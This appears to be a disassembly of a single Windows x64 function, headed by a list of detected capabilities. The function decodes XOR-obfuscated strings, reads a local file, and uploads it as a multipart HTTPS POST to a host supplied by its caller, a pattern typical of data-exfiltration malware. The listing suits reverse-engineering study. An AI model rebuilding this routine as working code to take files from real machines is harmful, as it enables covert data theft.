Function at 0x6ff91c00
Capabilities:
Connect to http server
Create http request
Encode data using xor
Get file size
Read and send data from client to server
Read data from internet
Read file on windows
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x578
mov qword [rsp + 0x5c0], rcx
mov ecx, 0x30
mov qword [rsp + 0x5c8], rdx
mov qword [rsp + 0x5d0], r8
mov qword [rsp + 0x5d8], r9
call sym.main.exe_generate_boundary_int_
mov r12, rax
mov eax, 0xe6
test r12, r12
je 0x6ff9284c
mov rcx, qword [rsp + 0x5d0]
mov edx, 0x2f
call sub.msvcrt.dll_strrchr
mov rsi, qword [rsp + 0x5d0]
test rax, rax
je 0x6ff91c71
lea rsi, [rax + 1]
mov byte [rsp + 0x19d], 0
lea rdx, [rsp + 0x19c]
movabs rax, 0x4a505b4a50517d3e
mov qword [rsp + 0x170], rax
movabs rax, 0x531e045b4e476a13
mov qword [rsp + 0x178], rax
movabs rax, 0x4a4c5f4e574a524b
mov qword [rsp + 0x180], rax
movabs rax, 0x5f5a13534c515811
mov qword [rsp + 0x188], rax
movabs rax, 0x504b515c1e055f4a
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x170]
mov dword [rsp + 0x198], 0x474c5f5a
mov byte [rsp + 0x19c], 3
mov qword [rsp + 0x48], rax
xor byte [rax + 1], 0x3e
inc rax
cmp rax, rdx
jne 0x6ff91cfb
mov byte [rsp + 0x19d], 0
or r8, 0xffffffffffffffff
lea rbp, [rsp + 0x171]
xor eax, eax
mov rcx, r8
mov rdi, rbp
repne scasb al, byte [rdi]
mov rdi, r12
mov rdx, rcx
mov rcx, r8
repne scasb al, byte [rdi]
not rdx
mov rax, rcx
not rax
lea r13, [rdx + rax - 1]
mov rcx, r13
call sub.msvcrt.dll_malloc
mov r15, rax
test rax, rax
je 0x6ff92020
mov byte [rsp + 0x19f], 0
movabs rax, 0x41e15041e1f3370
lea rdx, [rsp + 0x19e]
mov qword [rsp + 0x170], rax
movabs rax, 0x1d504a150009245d
mov qword [rsp + 0x178], rax
movabs rax, 0x402110019041c05
mov qword [rsp + 0x180], rax
movabs rax, 0x11145d1d021f165f
mov qword [rsp + 0x188], rax
movabs rax, 0x1e051f12504b1104
mov dword [rsp + 0x198], 0x9021114
mov word [rsp + 0x19c], 0x554d
mov byte [rsp + 0x19e], 3
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x70
inc rax
cmp rax, rdx
jne 0x6ff91dde
mov r9, r12
mov r8, rbp
mov rdx, r13
mov rcx, r15
mov byte [rsp + 0x19f], 0
lea rdi, [rsp + 0x6d]
call sym.main.exe_snprintf_char__unsigned_long_long__char_const__::_
mov dword [rsp + 0x6c], 0x2d2d0a
or r8, 0xffffffffffffffff
xor eax, eax
mov rcx, r8
repne scasb al, byte [rdi]
mov rdi, r12
mov rdx, rcx
mov rcx, r8
repne scasb al, byte [rdi]
not rdx
mov byte [rsp + 0xaa], 0
mov word [rsp + 0xa8], 0x1d02
mov rax, rcx
not rax
lea r9, [rdx + rax - 2]
lea rdx, [rsp + 0xa9]
movabs rax, 0x5a4b51507c35323f
mov qword [rsp + 0x70], rax
movabs rax, 0x504f4c567b124b51
mov qword [rsp + 0x78], rax
movabs rax, 0x1f055150564b564c
mov qword [rsp + 0x80], rax
movabs rax, 0x4b5e5b12524d5059
mov qword [rsp + 0x88], rax
movabs rax, 0x25a525e511f045e
mov qword [rsp + 0x90], rax
movabs rax, 0x1f041d5a5356591d
mov qword [rsp + 0x98], rax
movabs rax, 0x5a525e515a535659
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x70]
xor byte [rax + 1], 0x3f
inc rax
cmp rax, rdx
jne 0x6ff91ecb
mov byte [rsp + 0xaa], 0
or rdx, 0xffffffffffffffff
lea rbx, [rsp + 0x71]
xor eax, eax
mov rcx, rdx
mov rdi, rbx
repne scasb al, byte [rdi]
mov rdi, rsi
not rcx
mov r8, rcx
mov rcx, rdx
repne scasb al, byte [rdi]
mov byte [rsp + 0x1c1], 0
add r8, r9
mov byte [rsp + 0x1c0], 0x1d
mov rax, rcx
lea rcx, [rsp + 0x1c0]
not rax
lea rdx, [rax - 1]
movabs rax, 0x637978541d1a3517
mov qword [rsp + 0x170], rax
movabs rax, 0x72676e433a637972
mov qword [rsp + 0x178], rax
movabs rax, 0x747e7b676776372d
mov qword [rsp + 0x180], rax
movabs rax, 0x74783879787e6376
mov qword [rsp + 0x188], rax
movabs rax, 0x726563643a637263
mov qword [rsp + 0x190], rax
movabs rax, 0x637978541d1a7a76
mov qword [rsp + 0x198], rax
movabs rax, 0x797665433a637972
mov qword [rsp + 0x1a0], rax
movabs rax, 0x7479523a65727164
mov qword [rsp + 0x1a8], rax
movabs rax, 0x75372d70797e7378
mov qword [rsp + 0x1b0], rax
movabs rax, 0x1a1d1a6e6576797e
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x17
inc rax
cmp rcx, rax
jne 0x6ff91fde
mov byte [rsp + 0x1c1], 0
xor eax, eax
mov rdi, rbp
add rdx, r8
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea r14, [rcx + rdx - 1]
mov rcx, r14
call sub.msvcrt.dll_malloc
mov r13, rax
test rax, rax
jne 0x6ff92032
mov rcx, r15
call fcn.6ff8e3b8
mov rcx, r12
call fcn.6ff8e3b8
mov eax, 0xe6
jmp 0x6ff9284c
mov byte [rsp + 0x200], 0
lea rdx, [rsp + 0x1ff]
movabs rax, 0x71383f41171f1f32
mov qword [rsp + 0x170], rax
movabs rax, 0x761f465c57465c5d
mov qword [rsp + 0x178], rax
movabs rax, 0x5b465b415d42415b
mov qword [rsp + 0x180], rax
movabs rax, 0x5f405d5412085c5d
mov qword [rsp + 0x188], rax
movabs rax, 0x5c1209534653561f
mov qword [rsp + 0x190], rax
movabs rax, 0x5e5b54100f575f53
mov qword [rsp + 0x198], rax
movabs rax, 0x575e5b5412091057
mov qword [rsp + 0x1a0], rax
movabs rax, 0x4117100f575f535c
mov qword [rsp + 0x1a8], rax
movabs rax, 0x57465c5d71383f10
mov qword [rsp + 0x1b0], rax
movabs rax, 0x857424b661f465c
mov qword [rsp + 0x1b8], rax
movabs rax, 0x53515b5e42425312
mov qword [rsp + 0x1c0], rax
movabs rax, 0x46515d1d5c5d5b46
mov qword [rsp + 0x1c8], rax
movabs rax, 0x53574046411f4657
mov qword [rsp + 0x1d0], rax
movabs rax, 0x57465c5d71383f5f
mov qword [rsp + 0x1d8], rax
movabs rax, 0x415c5340661f465c
mov qword [rsp + 0x1e0], rax
movabs rax, 0x5d515c771f405754
mov qword [rsp + 0x1e8], rax
movabs rax, 0x5b501208555c5b56
mov qword [rsp + 0x1f0], rax
movabs rax, 0x383f383f4b40535c
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x32
inc rax
cmp rdx, rax
jne 0x6ff9218b
mov qword [rsp + 0x20], rsi
mov rdx, r14
mov r9, r12
mov r8, rbp
mov rcx, r13
mov byte [rsp + 0x200], 0
call sym.main.exe_snprintf_char__unsigned_long_long__char_const__::_
mov byte [rsp + 0x75], 0
lea rax, [rsp + 0x70]
lea rdx, [rsp + 0x74]
mov dword [rsp + 0x70], 0x2205020f
mov byte [rsp + 0x74], 0x22
xor byte [rax + 1], 0xf
inc rax
cmp rdx, rax
jne 0x6ff921d1
mov byte [rsp + 0x75], 0
or rdx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
mov rcx, rdx
repne scasb al, byte [rdi]
mov rdi, r12
mov rbx, rcx
mov rcx, rdx
repne scasb al, byte [rdi]
not rbx
mov byte [rsp + 0x175], 0
mov dword [rsp + 0x170], 0x20200d
mov byte [rsp + 0x174], 7
mov rax, rcx
lea rcx, [rsp + 0x174]
not rax
lea rdx, [rbx + rax - 2]
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0xd
inc rax
cmp rcx, rax
jne 0x6ff92231
mov byte [rsp + 0x175], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x40], rdx
call sub.msvcrt.dll_malloc
mov rdx, qword [rsp + 0x40]
test rax, rax
mov r14, rax
je 0x6ff92373
mov byte [rsp + 0x17b], 0
lea rcx, [rsp + 0x17a]
movabs rax, 0x4d13454d4d6a6d60
mov word [rsp + 0x178], 0x6d4d
mov byte [rsp + 0x17a], 0x6a
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x60
inc rax
cmp rax, rcx
jne 0x6ff922ad
mov r9, r12
mov r8, rbp
mov rcx, r14
mov byte [rsp + 0x17b], 0
call sym.main.exe_snprintf_char__unsigned_long_long__char_const__::_
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x5d0]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov r8d, 1
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x6ff92334
mov rcx, r14
call fcn.6ff8e3b8
mov rcx, r13
call fcn.6ff8e3b8
mov rcx, r15
call fcn.6ff8e3b8
mov rcx, r12
call fcn.6ff8e3b8
mov eax, 0xe1
jmp 0x6ff9284c
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov eax, ecx
mov rbx, rcx
mov qword [rsp + 0x50], rax
call sub.msvcrt.dll_malloc
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r11, qword [rsp + 0x40]
test rax, rax
jne 0x6ff92380
mov rcx, r11
call rsi
mov rcx, r14
call fcn.6ff8e3b8
mov rcx, r13
call fcn.6ff8e3b8
jmp 0x6ff92018
mov qword [rsp + 0x40], r11
mov rcx, r11
lea r9, [rsp + 0x60]
mov r8d, ebx
mov qword [rsp + 0x20], 0
mov rdx, rax
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r11, qword [rsp + 0x40]
mov r10, qword [rsp + 0x58]
test eax, eax
je 0x6ff9240d
cmp dword [rsp + 0x60], ebx
jne 0x6ff9240d
or rbx, 0xffffffffffffffff
mov rcx, r11
mov rdi, r13
call rsi
xor eax, eax
mov rcx, rbx
repne scasb al, byte [rdi]
mov rdi, r14
mov rdx, rcx
mov rcx, rbx
repne scasb al, byte [rdi]
mov rax, qword [rsp + 0x50]
sub rax, rdx
not rcx
lea rbp, [rax + rcx - 3]
mov rcx, rbp
call sub.msvcrt.dll_malloc
mov r10, qword [rsp + 0x58]
test rax, rax
mov qword [rsp + 0x40], rax
jne 0x6ff9244e
mov rcx, r10
call fcn.6ff8e3b8
jmp 0x6ff9236b
mov rcx, r11
mov qword [rsp + 0x40], r10
call rsi
mov r10, qword [rsp + 0x40]
mov rcx, r10
call fcn.6ff8e3b8
mov rcx, r14
call fcn.6ff8e3b8
mov rcx, r13
call fcn.6ff8e3b8
mov rcx, r15
call fcn.6ff8e3b8
mov rcx, r12
call fcn.6ff8e3b8
mov eax, 0xe2
jmp 0x6ff9284c
xor eax, eax
mov rcx, rbx
mov rdi, r13
mov rsi, r13
repne scasb al, byte [rdi]
mov rdi, qword [rsp + 0x40]
not rcx
dec rcx
rep movsb byte [rdi], byte [rsi]
mov rcx, rbx
mov rdi, r13
mov rsi, qword [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rax, [rsi + rcx - 1]
mov rsi, r10
mov rcx, qword [rsp + 0x50]
mov rdi, rax
xor eax, eax
rep movsb byte [rdi], byte [rsi]
mov rcx, rbx
mov rdi, r14
mov rsi, r14
repne scasb al, byte [rdi]
mov rdi, r13
not rcx
lea rdx, [rcx - 1]
mov rcx, rbx
repne scasb al, byte [rdi]
mov rax, qword [rsp + 0x50]
mov rbx, rcx
mov rcx, rdx
not rbx
lea rax, [rax + rbx - 1]
add rax, qword [rsp + 0x40]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov rcx, r10
call fcn.6ff8e3b8
mov rcx, r14
call fcn.6ff8e3b8
mov rcx, r13
call fcn.6ff8e3b8
mov byte [rsp + 0x179], 0
movabs rax, 0x41b057a7e7e622a
lea rdx, [rsp + 0x178]
mov byte [rsp + 0x178], 0x1b
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x2a
inc rax
cmp rax, rdx
jne 0x6ff9250a
lea r13, [rsp + 0x171]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov byte [rsp + 0x179], 0
mov rcx, r13
lea rbx, [rsp + 0x170]
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
je 0x6ff9274d
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
mov rdx, qword [rsp + 0x5c0]
mov dword [rsp + 0x30], 0
mov r8d, 0x1bb
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x6ff925c9
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call fcn.6ff8e3b8
mov rcx, r15
call fcn.6ff8e3b8
mov rcx, r12
call fcn.6ff8e3b8
mov eax, 0xe5
jmp 0x6ff9284c
mov byte [rsp + 0x175], 0
mov rax, rbx
lea rdx, [rsp + 0x174]
mov dword [rsp + 0x170], 0x574b5404
mov byte [rsp + 0x174], 0x50
xor byte [rax + 1], 4
inc rax
cmp rax, rdx
jne 0x6ff925ef
mov rdx, r13
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov byte [rsp + 0x175], 0
mov dword [rsp + 0x30], 0x800000
mov r8, qword [rsp + 0x5c8]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r13, rax
test rax, rax
jne 0x6ff9267e
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rbx
mov rcx, r14
call rbx
mov rcx, qword [rsp + 0x40]
call fcn.6ff8e3b8
mov rcx, r15
call fcn.6ff8e3b8
mov rcx, r12
call fcn.6ff8e3b8
mov eax, 0xe4
jmp 0x6ff9284c
lea r8, [rsp + 0x64]
mov edx, 6
mov rcx, rax
mov rdi, r15
mov r9d, 4
mov dword [rsp + 0x64], 0xea60
call qword [sym.imp.WININET.dll_InternetSetOptionA]
or rcx, 0xffffffffffffffff
xor eax, eax
mov r9, qword [rsp + 0x40]
repne scasb al, byte [rdi]
mov rdx, r15
mov dword [rsp + 0x20], ebp
not rcx
lea r8d, [rcx - 1]
mov rcx, r13
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x6ff9271b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
mov ebx, eax
call rsi
mov rcx, qword [rsp + 0x48]
call rsi
mov rcx, r14
call rsi
mov rcx, qword [rsp + 0x40]
call fcn.6ff8e3b8
mov rcx, r15
call fcn.6ff8e3b8
mov rcx, r12
call fcn.6ff8e3b8
xor eax, eax
cmp ebx, 0x2ee2
sete al
lea eax, [rax*4 + 0xe3]
jmp 0x6ff9284c
mov ecx, 1
call sub.msvcrt.dll_malloc
mov rsi, qword [rsp + 0x5d8]
mov qword [rsi], rax
test rax, rax
jne 0x6ff92757
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, qword [rsp + 0x48]
call rbx
mov rcx, r14
call rbx
mov rcx, qword [rsp + 0x40]
jmp 0x6ff92376
mov byte [rax], 0
mov rbp, qword [sym.imp.WININET.dll_InternetReadFile]
lea rsi, [rsp + 0x68]
mov dword [rsp + 0x68], 0
mov r9, rsi
mov r8d, 0x3ff
mov rdx, rbx
mov rcx, r13
call rbp
test eax, eax
je 0x6ff9278b
mov edx, dword [rsp + 0x68]
test edx, edx
jne 0x6ff927fa
lea r8, [rsp + 0x70]
lea r9, [rsp + 0x6c]
mov edx, 0x13
mov rcx, r13
mov qword [rsp + 0x50], r8
mov dword [rsp + 0x6c], 0x100
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, qword [rsp + 0x48]
call rbx
mov rcx, r14
call rbx
mov rcx, qword [rsp + 0x40]
call fcn.6ff8e3b8
mov rcx, r15
call fcn.6ff8e3b8
mov rcx, r12
call fcn.6ff8e3b8
mov r8, qword [rsp + 0x50]
mov rcx, r8
call sub.msvcrt.dll_atoi
jmp 0x6ff9284c
mov rax, qword [rsp + 0x5d8]
mov byte [rsp + rdx + 0x170], 0
or rcx, 0xffffffffffffffff
mov r8, qword [rax]
xor eax, eax
mov rdi, r8
repne scasb al, byte [rdi]
mov rax, rcx
mov rcx, r8
not rax
add rdx, rax
call sub.msvcrt.dll_realloc
mov rdx, rbx
mov rcx, rax
mov rax, qword [rsp + 0x5d8]
mov qword [rax], rcx
call sub.msvcrt.dll_strcat
mov dword [rsp + 0x68], 0
jmp 0x6ff9276e
add rsp, 0x578
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret